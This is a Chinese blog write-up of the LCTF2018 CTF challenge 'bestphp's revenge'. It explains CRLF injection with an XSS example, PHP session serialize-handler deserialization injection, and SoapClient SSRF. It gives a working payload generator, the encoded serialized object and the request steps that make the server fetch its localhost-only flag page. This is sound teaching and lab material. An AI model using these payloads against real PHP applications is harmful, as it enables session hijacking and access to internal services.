刷题笔记:bestphp's revenge


前言

关键字:[SoapClient|call_user_func|ssrf]

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }

题解

/flag.php返回

only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
only localhost can get flag!

明显是SSRF

call_user_func知识点

<?php
function func($a,$b)
{
    echo $a;
    echo $b;
}
call_user_func('func', "111","222");
call_user_func('func', "333","444");
//显示 111 222 333 444

如果传入的参数是一个数组,且数组的第一个值是一个类/对象,那么,就会把数组的第二个值,当做方法,然后执行。

<?php
class a {
    function b($c)
    {
        echo $c;
    }
}
call_user_func(array("a", "b"),"111");
//call_user_func(array(类名, 函数名),"111");
//显示 111

CRLF Injection漏洞

[转载]CRLF Injection漏洞的利用与实例分析

CRLF是”回车(%0d)+换行(%0a)”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。

比如一个302跳转:http://127.0.0.1/?url=http://www.sina.com.cn

HTTP/1.1 302
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location:http://www.sina.com.cn

我输入:

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

返回的数据包就是

HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn Set-cookie: JSPSESSID=wooyun

还可以用来xss

http://test.sina.com.cn/?url=%0d%0a%0d%0a<imgsrc=1onerror=alert(/xss/)>

浏览器会根据第一个CRLF把HTTP包分成header和body,然后将body显示出来。于是我们这里这个标签就会显示出来,造成一个xss。

关于这题的SoapClient类,没有指定cookie,但又user_agent,所以可以在user_agent里加上一个\r\n再加cookie。

serialize_hander处理session方式不同导致session注入

首先,session中的内容并不是放在内存中的,而是默认以文件的方式来存储的,可由配置项session.save_handler来进行确定。存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容。

然后,php序列化引擎也有不同表现:

PHP中SESSION反序列化机制

  • php_serialize引擎

    $_SESSION['name'] = 'sky';
    a:1:{s:4:"name";s:3:"sky";}
  • PHP引擎

    $_SESSION['name'] = 'sky';
    name|s:3:"sky"
  • php_binary引擎

    键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值

在这里就有反序列化漏洞了,如果用php_serialize做序列化引擎,且php_serialize做序列化引擎

$_SESSION['name'] = '|sky';
a:1:{s:4:"name";s:3:"|sky";}

然后再用PHP引擎去反序列化,因为php以|符号分隔键与值,所以就会变成a:1:{s:4:"name";s:3:"=sky的情况,这样sky就被单独拿了出来进行反序列化,而不是作为字符串打印出来。至于后面的";}s,php反序列化的规则是前方闭合后面就忽略(这也是反序列化字符串逃逸的原理)。

php默认是用PHP引擎,可用ini_set('session.serialize_handler', '需要设置的引擎')切换,但参数不支持数组。

所以此题用

session_start(array("serialize_handler" => "php_serialize"));

SoapClient SSRF

如果提示Class 'SoapClient' not found就在php.ini里启用extension=php_soap.dll

SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。

这是一个php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求。该类的构造函数如下

public SoapClient :: SoapClientmixed $wsdl [array $options ]

第一个参数是用来指明是否是wsdl模式

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri是SOAP服务的目标命名空间。

知道上述两个参数的含义后,就很容易构造出SSRF的利用payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url

<?php
$a = new SoapClient(null, array('location' => "http://127.0.0.1/flag.php",
                                 'uri'=> "123"));
echo urlencode(serialize($a));
?>

解析

写入session

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null, array(
    'location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=817olmp68ukmnofc2mlp762ql0\r\n",
    'uri' => "123"
));
$payload = urlencode(serialize($attack));
echo $payload;

生成payload,然后在前面加个|

?name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3D817olmp68ukmnofc2mlp762ql0%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D&f=session_start

POST:
serialize_handler=php_serialize

1.利用call_user_func($_GET[‘f’], $_POST);函数,改变此页面的序列化引擎为php_serialize

2.$_SESSION['name'] = $_GET['name'];将构造的序列化对象传入session中,并在前面加一个|符号。此时session会以php_serialize的规则储存。

触发反序列化

?f=extract

POST:
b=call_user_func

array(1) { ["a:1:{s:4:"name";s:199:""]=> object(SoapClient)#1 (4) { ["uri"]=> string(3) "123" ["location"]=> string(25) "http://127.0.0.1/flag.php" ["_user_agent"]=> string(56) "N0rth3ty Cookie: PHPSESSID=817olmp68ukmnofc2mlp762ql0 " ["_soap_version"]=> int(1) } }

1.用extract()函数将$b覆盖为call_user_func

2.此时序列化引擎又变为默认的php了,然后执行session_start(),则会读取刚刚序列化好的文件,进行反序列化。

3.$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');reset指针前移到开头,把session和字符串合并为一个数组。

`call_user_func($b, $a);`=`call_user_func(call_user_func, $a);`=`call_user_func($a)`=`call_user_func(array(reset($_SESSION), 'welcome_to_the_lctf2018');)`,

然后会执行函数名为welcome_to_the_lctf2018的方法,显然,这个方法不存在,就调用了SoapClient类魔术方法__call()然后执行一个请求(这是由SoapClient类的内部代码决定的)

改cookie

奇文共赏

https://blog.csdn.net/weixin_44077544/article/details/102960092

反序列化之PHP原生类的利用


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录